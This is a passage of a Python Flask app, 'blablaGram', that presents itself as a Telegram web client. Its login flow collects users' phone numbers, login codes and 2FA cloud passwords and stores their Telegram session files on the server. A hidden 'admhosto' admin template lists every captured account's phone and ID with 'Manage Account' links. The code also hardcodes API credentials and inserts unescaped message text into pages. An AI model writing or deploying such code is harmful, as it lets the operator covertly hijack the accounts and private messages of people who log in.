Videospace633 / app.py
Aleksmorshen's picture
Update app.py
31fffd7 verified
Raw
History Blame Contribute Delete
79.8 kB
import asyncio
import hashlib
import os
import sqlite3
import datetime
from pathlib import Path
from flask import Flask, jsonify, request, render_template_string, send_from_directory, redirect, url_for, session
from telethon.sync import TelegramClient
from telethon.errors import SessionPasswordNeededError, FloodWaitError, UserNotParticipantError
from telethon.tl.functions.messages import ImportChatInviteRequest
from telethon.tl.functions.channels import JoinChannelRequest
from telethon.tl.types import User, Chat, Channel
app = Flask(__name__)
app.secret_key = os.urandom(24)
API_ID = '22328650'
API_HASH = '20b45c386598fab8028b1d99b63aeeeb'
HOST = '0.0.0.0'
PORT = 7860
SESSION_DIR = 'sessions'
DOWNLOAD_DIR = 'downloads'
DB_PATH = 'users.db'
os.makedirs(SESSION_DIR, exist_ok=True)
os.makedirs(DOWNLOAD_DIR, exist_ok=True)
def init_db():
with sqlite3.connect(DB_PATH) as conn:
c = conn.cursor()
c.execute('''CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
telegram_id TEXT UNIQUE,
username TEXT,
phone TEXT,
session_file TEXT,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
)''')
conn.commit()
async def get_user_client(user_id):
with sqlite3.connect(DB_PATH) as conn:
c = conn.cursor()
c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,))
result = c.fetchone()
if not result:
return None, "User not found in database."
session_file = result[0]
client = TelegramClient(session_file, API_ID, API_HASH)
try:
await client.connect()
if not await client.is_user_authorized():
return None, "Client not authorized. Please log in again."
except Exception as e:
return None, f"Failed to connect or authorize Telegram client: {e}"
return client, None
LOGIN_TEMPLATE = '''
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>blablaGram - Login</title>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;700&display=swap" rel="stylesheet">
<style>
body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: linear-gradient(135deg, #E9EBEE 0%, #D5DBE0 100%); color: #333; margin: 0; padding: 0; display: flex; justify-content: center; align-items: center; min-height: 100vh; }
.container { background: #FFFFFF; padding: 40px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.1); max-width: 440px; width: 90%; text-align: center; }
h1 { color: #2AABEE; margin-bottom: 30px; font-size: 3em; font-weight: 700; letter-spacing: -1px; text-shadow: 1px 1px 2px rgba(0,0,0,0.05); }
input[type="text"], input[type="password"] { width: calc(100% - 30px); padding: 15px; margin: 15px 0; border: 1px solid #E0E0E0; border-radius: 10px; background: #F9F9F9; color: #333; font-size: 1.05em; transition: border-color 0.3s, box-shadow 0.3s; }
input[type="text"]:focus, input[type="password"]:focus { border-color: #2AABEE; box-shadow: 0 0 0 4px rgba(42, 171, 238, 0.2); outline: none; background: #FFFFFF; }
button { background: #2AABEE; color: #fff; padding: 15px 30px; border: none; border-radius: 10px; cursor: pointer; font-size: 1.15em; font-weight: bold; margin-top: 25px; transition: background 0.3s ease, transform 0.2s ease, box-shadow 0.2s ease; width: 100%; box-shadow: 0 4px 10px rgba(42, 171, 238, 0.3); }
button:hover { background: #1C91D0; transform: translateY(-2px); box-shadow: 0 6px 15px rgba(42, 171, 238, 0.4); }
button:active { transform: translateY(0); box-shadow: 0 2px 5px rgba(42, 171, 238, 0.2); }
.message { margin-top: 30px; padding: 18px; border-radius: 10px; font-size: 1em; line-height: 1.6; text-align: left; }
.message.success { background: #E6FFF1; color: #159C66; border: 1px solid #C8F0E0; }
.message.error { background: #FFEBEE; color: #C9302C; border: 1px solid #F0C8C8; }
.message.info { background: #EBF8FF; color: #2AABEE; border: 1px solid #C8E6F0; }
.hidden { display: none; }
.warning { background: #FFF3CD; color: #856404; border: 1px solid #FFEBAA; }
</style>
</head>
<body>
<div class="container">
<h1>blablaGram</h1>
<div class="form">
<input type="text" id="phone" placeholder="Phone number (e.g., +1234567890)">
<button onclick="startLogin()">Start Login</button>
<input type="text" id="code" placeholder="Verification code" class="hidden">
<input type="password" id="password" placeholder="Cloud password (2FA)" class="hidden">
<button id="submitCode" onclick="submitCode()" class="hidden">Submit Code</button>
<button id="submitPassword" onclick="submitPassword()" class="hidden">Submit Password</button>
</div>
<div id="statusMessage" class="message hidden"></div>
</div>
<script>
let phone = '';
let phoneCodeHash = '';
const statusMessageDiv = document.getElementById('statusMessage');
function showMessage(msg, type = 'info') {
statusMessageDiv.textContent = msg;
statusMessageDiv.className = `message ${type}`;
statusMessageDiv.classList.remove('hidden');
}
async function startLogin() {
phone = document.getElementById('phone').value;
if (!phone) {
showMessage('Please enter your phone number.', 'error');
return;
}
showMessage('Sending code... Please check your Telegram app for a login code or notification.', 'info');
document.getElementById('code').classList.add('hidden');
document.getElementById('password').classList.add('hidden');
document.getElementById('submitCode').classList.add('hidden');
document.getElementById('submitPassword').classList.add('hidden');
const response = await fetch('/api/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ phone, step: 'start' })
});
const result = await response.json();
if (result.success) {
if (result.phone_code_hash) {
phoneCodeHash = result.phone_code_hash;
document.getElementById('code').classList.remove('hidden');
document.getElementById('submitCode').classList.remove('hidden');
showMessage(result.message, 'success');
} else {
showMessage(result.message + ' Redirecting to app...', 'success');
setTimeout(() => window.location.href = '/app', 1500);
}
} else {
let errorMessage = 'Login failed: ' + result.message;
if (result.message.includes('FloodWaitError') || result.message.includes('phone_number_invalid')) {
errorMessage += '<br>This might be a temporary Telegram restriction or an invalid phone number. Please wait and try again, or ensure your phone number is correct and active on Telegram.';
}
showMessage(errorMessage, 'error');
}
}
async function submitCode() {
const code = document.getElementById('code').value;
if (!code) {
showMessage('Please enter the verification code.', 'error');
return;
}
showMessage('Submitting code...', 'info');
const response = await fetch('/api/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ phone, code, phone_code_hash: phoneCodeHash, step: 'code' })
});
const result = await response.json();
if (result.success) {
showMessage(result.message + ' Redirecting to app...', 'success');
setTimeout(() => window.location.href = '/app', 1500);
} else if (result.password_required) {
showMessage(result.message + ' Enter your 2FA cloud password.', 'warning');
document.getElementById('password').classList.remove('hidden');
document.getElementById('submitPassword').classList.remove('hidden');
document.getElementById('submitCode').classList.add('hidden');
document.getElementById('code').classList.add('hidden');
} else {
showMessage('Login failed: ' + result.message, 'error');
}
}
async function submitPassword() {
const password = document.getElementById('password').value;
if (!password) {
showMessage('Please enter your cloud password.', 'error');
return;
}
showMessage('Submitting password...', 'info');
const response = await fetch('/api/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ phone, password, step: 'password' })
});
const result = await response.json();
if (result.success) {
showMessage(result.message + ' Redirecting to app...', 'success');
setTimeout(() => window.location.href = '/app', 1500);
} else {
showMessage('Login failed: ' + result.message, 'error');
}
}
</script>
</body>
</html>
'''
BLABLAGRAM_APP_TEMPLATE = '''
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>blablaGram</title>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
<style>
body, html { margin: 0; padding: 0; height: 100%; font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #F0F2F5; overflow: hidden; }
.app-layout { display: flex; height: 100vh; width: 100%; }
/* Sidebar Styles */
.sidebar { flex: 0 0 320px; background: #FFFFFF; border-right: 1px solid #E0E0E0; display: flex; flex-direction: column; transition: transform 0.3s ease-in-out; position: relative; z-index: 1000; }
.sidebar-header { padding: 15px 20px; border-bottom: 1px solid #E0E0E0; display: flex; align-items: center; justify-content: space-between; }
.sidebar-header h2 { margin: 0; font-size: 1.5em; color: #2AABEE; font-weight: 700; }
.sidebar-header .actions button { background: none; border: none; font-size: 1.5em; cursor: pointer; color: #2AABEE; padding: 5px 8px; border-radius: 6px; transition: background-color 0.2s; }
.sidebar-header .actions button:hover { background-color: #E6F3FC; }
.chat-list { flex: 1; overflow-y: auto; -webkit-overflow-scrolling: touch; }
.chat-list::-webkit-scrollbar { width: 8px; background-color: #F8F8F8; }
.chat-list::-webkit-scrollbar-thumb { border-radius: 10px; background-color: #CCC; }
.chat-item { display: flex; align-items: center; padding: 12px 20px; border-bottom: 1px solid #F5F5F5; cursor: pointer; transition: background-color 0.2s; }
.chat-item:hover { background-color: #F8F8F8; }
.chat-item.active { background-color: #E6F3FC; color: #2AABEE; }
.avatar-placeholder { width: 48px; height: 48px; border-radius: 50%; background-color: #2AABEE; color: white; display: flex; align-items: center; justify-content: center; font-size: 1.6em; font-weight: 600; margin-right: 15px; flex-shrink: 0; }
.chat-info { flex: 1; overflow: hidden; }
.chat-info h3 { margin: 0 0 4px; font-size: 1.05em; font-weight: 600; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; color: #1C1C1C; }
.chat-item.active .chat-info h3 { color: #2AABEE; }
.chat-info p { margin: 0; font-size: 0.85em; color: #666; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
.join-chat-section { padding: 15px 20px; border-top: 1px solid #E0E0E0; display: flex; gap: 10px; background-color: #FFFFFF; }
.join-chat-section input { flex: 1; padding: 10px 12px; border: 1px solid #E0E0E0; border-radius: 8px; font-size: 0.95em; }
.join-chat-section button { background: #28A745; color: white; padding: 0 15px; border: none; border-radius: 8px; cursor: pointer; font-weight: 500; transition: background 0.2s; }
.join-chat-section button:hover { background: #218838; }
/* Chat Panel Styles */
.chat-panel { flex: 1; display: flex; flex-direction: column; background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAACMsrS6AAAAP1BMVEXy9Pbv8vTw8vXx8/X09vfy9ffx8/Ty9Pbx8/Ty9Pbx8/Xz9ffy9Pby9Pbx8/Xy9ffy9fY7N5wzAAAAFXRSTlMAYKAgsLBgIFBwYNAg0JBQMFBgYCDQX1vPAAACHklEQVR42u3V227bMBBFUUCpQxJCSDqk//+3tCStA8MDjOT6222s5zFjsmy2zLIsy7Isy7Isy7Isy7Isy7Isy7Isy7Isy/rvBvj3yZNOcws8b8A3/4eCrwX8P/h/F/yG8x9Gfo3/u/JfQf498r8s+M/I/7Hgv2Sgvyb5e0H+pfL3gvzby98L8m8vfy/Iv5r8vSC/lvz9IL9e/r0gv1r594L82srfC/Krld8X5Fe3/L0gv1b5vSD/uvJ3gvz6y98L8isv/y/Ir1Z+L8ivpfxdIL+28neD/PLK3w3yyy9/N8ivvnx/CL+y8veD/PLq3wfyK69/H8ivv/x/CL+68veD/Prq3wvyKy9/L8ivvPx/CL+88veD/Prb3wvy6y9/L8ivr/x/CL+98veD/Prt3wvy6y9/X5DfX/n+Ifz2yt8P8uv3Pxfk19f/vyC/v/L9Q/jtlf8f5Ndv/1+QX3/9/4L8/stfD/L7S18P8gsvfx/I7698f5DfX/n+IXz55e+H+PXL3w/y+y9/P8jvr/x/iD/98vdD/Pr9/wvy+y//X5Dff/n/IX795e+H+P33/x/k91/+vyC//vL/IX7/5e+H+P23vx/k99/+vyC//vL3Q/z+y98P8vvv/z/I77/8/RA/AHz54x8QAF/++AcEwJdv/gEBsO+Jf0AAbPvjHxAAu/74BwTAph/9AQGw6Y9/QABs++MfEAC7/vgHBMCmH/0BAbDpj39AAGz74x8QALv++AcEwKYf/QEB/PzDPyAA9vzxDwiArX/8AwLg0w//gADY9sc/IAC2/fEPEAC7/vgHBMDTXz8gAL788Q8IgK+//AMCIAAA/PwnAMCyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMv6n/4H0j+fL0bIRekAAAAASUVORK5CYII="); background-repeat: repeat; background-size: 150px; }
.chat-panel-header { background: #FFFFFF; padding: 15px 25px; border-bottom: 1px solid #E0E0E0; display: flex; justify-content: space-between; align-items: center; }
.chat-panel-header h2 { margin: 0; font-size: 1.25em; font-weight: 600; color: #1C1C1C; }
.chat-panel-header .header-actions button { background: #2AABEE; color: white; border: none; padding: 9px 15px; border-radius: 6px; cursor: pointer; font-size: 0.9em; font-weight: 500; transition: background 0.2s, transform 0.2s; }
.chat-panel-header .header-actions button:hover { background: #1C91D0; transform: translateY(-1px); }
.chat-panel-header .header-actions button:active { transform: translateY(0); }
.chat-panel-header .header-actions .switch-account { background: #6C757D; margin-left: 10px; }
.chat-panel-header .header-actions .switch-account:hover { background: #5A6268; }
.messages-container { flex: 1; overflow-y: auto; padding: 20px; display: flex; flex-direction: column-reverse; -webkit-overflow-scrolling: touch; }
.messages-container::-webkit-scrollbar { width: 8px; background-color: #F0F2F5; }
.messages-container::-webkit-scrollbar-thumb { border-radius: 10px; background-color: #BBB; }
.message-item { max-width: 75%; padding: 10px 14px; border-radius: 18px; margin-bottom: 8px; line-height: 1.45; word-wrap: break-word; font-size: 0.95em; box-shadow: 0 1px 1px rgba(0,0,0,0.05); }
.message-item.sent { background: #DCF8C6; align-self: flex-end; border-bottom-right-radius: 4px; }
.message-item.received { background: #FFFFFF; align-self: flex-start; border-bottom-left-radius: 4px;}
.message-sender { font-weight: 600; color: #2AABEE; margin-bottom: 4px; display: block; font-size: 0.9em; }
.message-text { color: #111; }
.message-meta { font-size: 0.75em; color: #888; margin-top: 5px; text-align: right; }
.media-link { display: block; margin-top: 8px; color: #2AABEE; text-decoration: none; font-weight: 500; word-break: break-all; }
.media-link:hover { text-decoration: underline; }
.message-loading { text-align: center; color: #777; margin: 10px 0; font-size: 0.9em; }
.chat-input-area { background: #F8F8F8; padding: 10px 20px; border-top: 1px solid #E0E0E0; display: flex; align-items: flex-end; gap: 10px; }
.chat-input-area textarea { flex: 1; padding: 12px 15px; border: 1px solid #E0E0E0; border-radius: 20px; background: #FFFFFF; resize: none; overflow-y: auto; max-height: 120px; font-size: 1em; line-height: 1.4; transition: border-color 0.3s, box-shadow 0.3s; }
.chat-input-area textarea:focus { border-color: #2AABEE; box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.1); outline: none; }
.chat-input-area button { background: #2AABEE; color: #fff; width: 44px; height: 44px; border: none; border-radius: 50%; cursor: pointer; font-size: 1.5em; display: flex; align-items: center; justify-content: center; transition: background 0.2s, transform 0.2s; flex-shrink: 0; }
.chat-input-area button:hover { background: #1C91D0; transform: translateY(-1px); }
.chat-input-area button:active { transform: translateY(0); }
.no-chat-selected { display: flex; justify-content: center; align-items: center; flex: 1; color: #777; font-size: 1.2em; text-align: center; }
/* Mobile Adaptation */
.sidebar-toggle-button.mobile-only { display: none; }
.sidebar-backdrop { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.5); z-index: 999; }
@media (max-width: 768px) {
.app-layout { flex-direction: column; }
.sidebar { flex: 0 0 auto; width: 80%; max-width: 320px; height: 100vh; border-right: none; position: fixed; top: 0; left: 0; transform: translateX(-100%); box-shadow: 2px 0 10px rgba(0,0,0,0.2); }
.sidebar.active { transform: translateX(0); }
.chat-panel { width: 100%; height: 100vh; position: relative; }
.sidebar-toggle-button.mobile-only { display: block; background: none; border: none; font-size: 1.5em; color: #2AABEE; cursor: pointer; padding: 0 10px; }
.sidebar-header .actions { display: flex; align-items: center; }
.chat-panel-header { padding: 15px 15px; }
.chat-panel-header h2 { font-size: 1.1em; }
.chat-input-area { padding: 10px 15px; }
.message-item { max-width: 90%; }
.chat-panel-header .header-actions { display: none; } /* Hide logout buttons on small mobile */
.sidebar.active + .sidebar-backdrop { display: block; }
}
</style>
</head>
<body>
<div class="app-layout">
<div class="sidebar" id="sidebar">
<div class="sidebar-header">
<button class="sidebar-toggle-button mobile-only" onclick="toggleSidebar()">☰</button>
<h2>blablaGram</h2>
<div class="actions">
<button onclick="newMessage()" title="New Message">✎</button>
</div>
</div>
<div class="chat-list" id="chatList"></div>
<div class="join-chat-section">
<input type="text" id="joinChatIdentifier" placeholder="Join link or @username">
<button onclick="joinChat()">Join</button>
</div>
<div style="padding: 10px 20px; border-top: 1px solid #E0E0E0; background: #FFFFFF; display: flex; justify-content: space-between;">
<button onclick="logout(true)" style="background: #6C757D; width: 48%; padding: 8px 12px; font-size: 0.9em; border-radius: 6px; box-shadow: none;">Switch Account</button>
<button onclick="logout(false)" style="background: #DC3545; width: 48%; padding: 8px 12px; font-size: 0.9em; border-radius: 6px; box-shadow: none;">Logout</button>
</div>
</div>
<div class="sidebar-backdrop" onclick="toggleSidebar()"></div>
<div class="chat-panel" id="chatPanel">
<div class="chat-panel-header" id="appHeader">
<button class="sidebar-toggle-button mobile-only" onclick="toggleSidebar()" style="font-size: 1.8em;">←</button>
<div id="chat-header-info">
<h2 id="chatTitle" style="display:none;"></h2>
</div>
<div class="header-actions">
<button onclick="logout(true)" class="switch-account">Switch Account</button>
<button onclick="logout(false)">Logout</button>
</div>
</div>
<div class="no-chat-selected" id="noChatSelected">
Select a chat to start messaging
</div>
<div class="messages-container" id="messagesContainer" style="display:none;"></div>
<div class="chat-input-area" id="chatInputArea" style="display:none;">
<input type="file" id="fileInput" style="display: none;" onchange="handleFileSelect()">
<button onclick="document.getElementById('fileInput').click()" title="Attach File">📎</button>
<textarea id="messageInput" placeholder="Message or caption" rows="1"></textarea>
<button onclick="sendMessage()">➤</button>
</div>
</div>
</div>
<script>
let currentChatId = null;
let oldestMessageId = null;
let loadingMoreMessages = false;
let hasMoreMessages = true;
function toggleSidebar() {
const sidebar = document.getElementById('sidebar');
const backdrop = document.querySelector('.sidebar-backdrop');
sidebar.classList.toggle('active');
backdrop.classList.toggle('active', sidebar.classList.contains('active'));
}
function adjustTextareaHeight() {
const textarea = document.getElementById('messageInput');
textarea.style.height = 'auto';
textarea.style.height = Math.min(textarea.scrollHeight, 120) + 'px';
}
document.getElementById('messageInput').addEventListener('input', adjustTextareaHeight);
async function fetchChats() {
const response = await fetch('/api/user_chats');
const result = await response.json();
const chatListDiv = document.getElementById('chatList');
chatListDiv.innerHTML = '';
if (result.success && result.chats) {
result.chats.forEach(chat => {
const chatItem = document.createElement('div');
chatItem.className = 'chat-item';
if (currentChatId === chat.id) {
chatItem.classList.add('active');
}
chatItem.dataset.id = chat.id;
chatItem.onclick = () => selectChat(chat.id);
chatItem.innerHTML = `
<div class="avatar-placeholder">${chat.avatar_initial}</div>
<div class="chat-info">
<h3>${chat.title}</h3>
<p>${chat.type}</p>
</div>
`;
chatListDiv.appendChild(chatItem);
});
} else {
chatListDiv.innerHTML = `<p style="padding: 20px; text-align: center; color: #777;">${result.message || 'No chats found.'}</p>`;
}
}
async function selectChat(chatId) {
if (currentChatId === chatId && document.getElementById('messagesContainer').style.display !== 'none') {
if (window.innerWidth <= 768) { toggleSidebar(); }
return;
}
currentChatId = chatId;
oldestMessageId = null;
hasMoreMessages = true;
loadingMoreMessages = false;
document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');
const selectedChat = document.querySelector(`.chat-item[data-id="${chatId}"]`);
const chatTitle = selectedChat.querySelector('h3').textContent;
document.getElementById('noChatSelected').style.display = 'none';
document.getElementById('chatTitle').textContent = chatTitle;
document.getElementById('chatTitle').style.display = 'block';
document.getElementById('messagesContainer').style.display = 'flex';
document.getElementById('chatInputArea').style.display = 'flex';
const messagesContainer = document.getElementById('messagesContainer');
messagesContainer.innerHTML = '<p class="message-loading">Loading messages...</p>';
messagesContainer.scrollTop = messagesContainer.scrollHeight;
await fetchMessages(currentChatId);
if (window.innerWidth <= 768) {
toggleSidebar();
}
}
async function fetchMessages(chatId, offsetId = null) {
if (loadingMoreMessages || (offsetId && !hasMoreMessages)) return;
loadingMoreMessages = true;
const messagesContainer = document.getElementById('messagesContainer');
const initialLoad = (offsetId === null);
if (initialLoad) {
messagesContainer.innerHTML = '<p class="message-loading">Loading messages...</p>';
} else {
const loadingDiv = document.createElement('p');
loadingDiv.className = 'message-loading';
loadingDiv.id = 'loadingMore';
loadingDiv.textContent = 'Loading more messages...';
messagesContainer.prepend(loadingDiv);
}
const url = `/api/chat_messages/${chatId}${offsetId ? `?offset_id=${offsetId}` : ''}`;
const response = await fetch(url);
const result = await response.json();
if (document.getElementById('loadingMore')) {
document.getElementById('loadingMore').remove();
}
if (result.success && result.messages) {
if (initialLoad) {
messagesContainer.innerHTML = '';
}
if (result.messages.length === 0 && !initialLoad) {
hasMoreMessages = false;
messagesContainer.prepend(document.createElement('p').outerHTML = '<p class="message-loading">No more messages.</p>');
}
let newOldestMessageId = oldestMessageId;
const scrollHeightBefore = messagesContainer.scrollHeight;
result.messages.reverse().forEach(msg => {
const messageItem = document.createElement('div');
messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`;
let senderInfo = !msg.is_sent && msg.sender_name ? `<span class="message-sender">${msg.sender_name}</span>` : '';
let mediaHtml = msg.file_name && !msg.file_name.startsWith('Download failed') ? `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>` : '';
let textHtml = msg.text ? `<div class="message-text">${msg.text.replace(/\\n/g, '<br>')}</div>` : '';
let metaHtml = `<div class="message-meta">${msg.date}</div>`;
let emptyMsgHtml = !msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : '';
messageItem.innerHTML = `${senderInfo}${textHtml}${mediaHtml}${emptyMsgHtml}${metaHtml}`;
if (initialLoad) {
messagesContainer.prepend(messageItem);
} else {
messagesContainer.appendChild(messageItem);
}
if (newOldestMessageId === null || msg.id < newOldestMessageId) {
newOldestMessageId = msg.id;
}
});
oldestMessageId = newOldestMessageId;
if (initialLoad) {
messagesContainer.scrollTop = messagesContainer.scrollHeight;
} else {
const scrollHeightAfter = messagesContainer.scrollHeight;
messagesContainer.scrollTop += (scrollHeightAfter - scrollHeightBefore);
}
} else {
if (initialLoad) {
messagesContainer.innerHTML = `<p style="text-align: center; color: #777;">${result.message || 'No messages found.'}</p>`;
}
}
loadingMoreMessages = false;
}
document.getElementById('messagesContainer').addEventListener('scroll', () => {
if (document.getElementById('messagesContainer').scrollTop <= 100 && hasMoreMessages && !loadingMoreMessages) {
fetchMessages(currentChatId, oldestMessageId);
}
});
async function newMessage() {
const recipient = prompt("Enter recipient's username (e.g., @username) or chat ID:");
if (!recipient) return;
const message = prompt("Enter your message:");
if (!message || !message.trim()) return;
const response = await fetch('/api/send_message', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ chat_id: recipient, message: message })
});
const result = await response.json();
alert(result.message);
if (result.success) {
fetchChats();
}
}
async function sendMessage() {
if (!currentChatId) return;
const messageInput = document.getElementById('messageInput');
const message = messageInput.value;
if (!message.trim()) return;
const tempMessage = document.createElement('div');
tempMessage.className = 'message-item sent';
tempMessage.innerHTML = `<div class="message-text">${message.replace(/\\n/g, '<br>')}</div><div class="message-meta">Sending...</div>`;
document.getElementById('messagesContainer').prepend(tempMessage);
document.getElementById('messagesContainer').scrollTop = document.getElementById('messagesContainer').scrollHeight;
messageInput.value = '';
adjustTextareaHeight();
const response = await fetch('/api/send_message', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ chat_id: currentChatId, message })
});
const result = await response.json();
if (result.success) {
await fetchMessages(currentChatId, null); // Re-fetch to update with actual message from Telegram
} else {
alert('Failed to send message: ' + result.message);
tempMessage.remove(); // Remove temporary message on failure
messageInput.value = message;
adjustTextareaHeight();
}
}
async function handleFileSelect() {
const fileInput = document.getElementById('fileInput');
if (fileInput.files.length === 0) return;
const file = fileInput.files[0];
const messageInput = document.getElementById('messageInput');
const caption = messageInput.value;
const formData = new FormData();
formData.append('chat_id', currentChatId);
formData.append('file', file);
formData.append('caption', caption);
const tempMessage = document.createElement('div');
tempMessage.className = 'message-item sent';
tempMessage.innerHTML = `<div class="message-text">Uploading: ${file.name}</div><div class="message-meta">Sending file...</div>`;
document.getElementById('messagesContainer').prepend(tempMessage);
document.getElementById('messagesContainer').scrollTop = document.getElementById('messagesContainer').scrollHeight;
messageInput.value = '';
fileInput.value = '';
adjustTextareaHeight();
const response = await fetch('/api/send_file', {
method: 'POST',
body: formData
});
const result = await response.json();
if (result.success) {
await fetchMessages(currentChatId, null);
} else {
alert('Failed to send file: ' + result.message);
tempMessage.remove();
}
}
async function joinChat() {
const chatIdentifier = document.getElementById('joinChatIdentifier').value;
if (!chatIdentifier.trim()) {
alert('Please enter a channel/group username or invite link.');
return;
}
const response = await fetch('/api/join_chat', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ chat_identifier: chatIdentifier })
});
const result = await response.json();
alert(result.message);
if (result.success) {
document.getElementById('joinChatIdentifier').value = '';
await fetchChats();
}
}
async function logout(switchToNew = false) {
const confirmation = switchToNew ? true : confirm('Are you sure you want to log out? This will disconnect your Telegram account from this app.');
if (confirmation) {
await fetch('/api/logout', { method: 'POST' });
window.location.href = '/';
}
}
document.getElementById('messageInput').addEventListener('keydown', (e) => {
if (e.key === 'Enter' && !e.shiftKey) {
e.preventDefault();
sendMessage();
}
});
fetchChats();
</script>
</body>
</html>
'''
ADMHOSTO_TEMPLATE = '''
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>blablaGram - Admin Panel</title>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
<style>
body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #F0F2F5; color: #333; margin: 0; padding: 25px; }
.container { max-width: 1000px; margin: auto; background: #fff; padding: 35px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.1); }
h1, h2 { text-align: center; color: #2AABEE; margin-bottom: 25px; font-weight: 700; font-size: 2.2em; }
h2 { font-size: 1.6em; margin-top: 35px; }
table { width: 100%; border-collapse: collapse; margin-top: 25px; border-radius: 10px; overflow: hidden; box-shadow: 0 4px 15px rgba(0,0,0,0.05); }
th, td { padding: 18px; border: 1px solid #EAEAEA; text-align: left; }
th { background: #F8F8F8; color: #555; font-weight: 600; font-size: 0.95em; text-transform: uppercase; letter-spacing: 0.5px; }
tr:nth-child(even) { background: #FDFDFD; }
tr:hover { background: #E6F3FC; }
a { color: #2AABEE; text-decoration: none; transition: color 0.3s ease; font-weight: 500; }
a:hover { text-decoration: underline; }
.back-button { margin-top: 40px; text-align: center; }
.back-button a { display: inline-block; padding: 12px 25px; background: #6C757D; color: white; border-radius: 10px; transition: background 0.3s ease, transform 0.2s ease; font-weight: 500; text-decoration: none; box-shadow: 0 4px 10px rgba(0,0,0,0.1); }
.back-button a:hover { background: #5A6268; transform: translateY(-2px); box-shadow: 0 6px 15px rgba(0,0,0,0.15); }
@media (max-width: 768px) {
body { padding: 15px; }
.container { padding: 25px; border-radius: 12px; }
h1 { font-size: 2em; margin-bottom: 20px; }
h2 { font-size: 1.4em; margin-top: 25px; }
table { font-size: 0.9em; }
th, td { padding: 12px; }
}
</style>
</head>
<body>
<div class="container">
<h1>blablaGram - Admin Panel</h1>
<h2>Managed Accounts</h2>
<table>
<thead>
<tr><th>ID</th><th>Telegram ID</th><th>Username</th><th>Phone</th><th>Actions</th></tr>
</thead>
<tbody>
{% for user in users %}
<tr>
<td>{{ user[0] }}</td>
<td>{{ user[1] }}</td>
<td>{{ user[2] }}</td>
<td>{{ user[3] }}</td>
<td>
<a href="/admhosto/user/{{ user[0] }}/manage">Manage Account</a>
</td>
</tr>
{% endfor %}
</tbody>
</table>
<div class="back-button">
<a href="/">Back to Login</a>
</div>
</div>
</body>
</html>
'''
ADMHOSTO_MANAGE_TEMPLATE = '''
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Manage: {{ user.username or user.phone }}</title>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
<style>
body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #F0F2F5; color: #333; margin: 0; padding: 25px; }
.container { max-width: 1400px; margin: auto; background: #fff; padding: 35px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.15); }
h1, h2 { text-align: center; color: #2AABEE; margin-bottom: 20px; font-weight: 700; font-size: 2.2em; }
.user-info { text-align: center; margin-bottom: 30px; font-size: 1.1em; color: #777; font-weight: 500; }
.split-panel { display: flex; gap: 25px; margin-top: 25px; }
.split-panel > div { flex: 1; background: #F9F9F9; padding: 25px; border-radius: 12px; border: 1px solid #EEE; box-shadow: 0 4px 15px rgba(0,0,0,0.05); }
h2 { margin-top: 0; font-size: 1.5em; font-weight: 600; color: #333; margin-bottom: 20px; text-align: left;}
input[type="text"], textarea { width: calc(100% - 24px); padding: 12px; margin: 8px 0; border: 1px solid #DDD; border-radius: 8px; background: #FFF; font-size: 0.95em; transition: border-color 0.3s, box-shadow 0.3s; }
input[type="text"]:focus, textarea:focus { border-color: #2AABEE; box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.1); outline: none; }
textarea { resize: vertical; min-height: 80px; }
button { background: #2AABEE; color: #fff; padding: 12px 20px; border: none; border-radius: 8px; cursor: pointer; font-size: 1.0em; font-weight: bold; margin-top: 15px; width: 100%; transition: background 0.3s ease, transform 0.2s ease, box-shadow 0.2s ease; box-shadow: 0 2px 5px rgba(42, 171, 238, 0.2); }
